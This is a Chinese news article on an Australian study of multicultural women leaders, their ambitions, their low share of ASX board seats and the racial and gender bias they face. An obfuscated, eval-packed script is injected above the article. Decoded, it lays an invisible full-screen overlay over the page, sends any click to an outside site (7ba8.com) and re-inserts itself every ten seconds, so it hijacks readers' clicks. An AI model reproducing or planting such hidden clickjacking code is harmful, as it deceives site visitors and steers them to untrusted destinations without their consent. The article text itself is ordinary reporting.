<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>滴答网讯 据澳洲网报道，澳洲多元文化委员会（Diversity Council Australia ，DCA）与悉尼大学商学院（University of Sydney Business School）的最新研究报告表明，在多元文化背景下成长的非本民族女性，多数是野心勃勃、富有能力以及善于变通的。
据报道，在接受调查的365位女性领导人中，70%的多元文化女性强烈认同她们应该得到晋升，成为一名级别更高的领导。相较而言，只有52%的凯尔特族（多指本土民族）女性同意这一观点。此外，在接受调查的多元文化女性中，约有一半被调查者要求升职（53%）或加薪（42%）。
然而，2015年在澳交所（ASX）上市公司的7491名董事中，多元文化女性领导者仅占2.5%。报告称，在澳洲和整个国际社会内，多元文化女性在尝试担任领导人角色的过程中，经历了种族和性别的“双重歧视”。
DCA的首席执行官安内斯（Lisa Annese）表示，多数人都对亚洲女性抱有刻板印象，认为她们没有挑战权威的勇气，在会议上也不常发言而且太过礼貌。
安内斯说，凯尔特族的领导风格是非常男性化的，他们直言不讳，谈判手段自信且强硬。但如果女性这样做，就会被认为是“母老虎”、“情绪化”以及不称职。对此，安内斯表示，各机构需要重新定义对领导力的理解，并要勇于挑战职场偏见。
联系人：
联系方式： |
|
收藏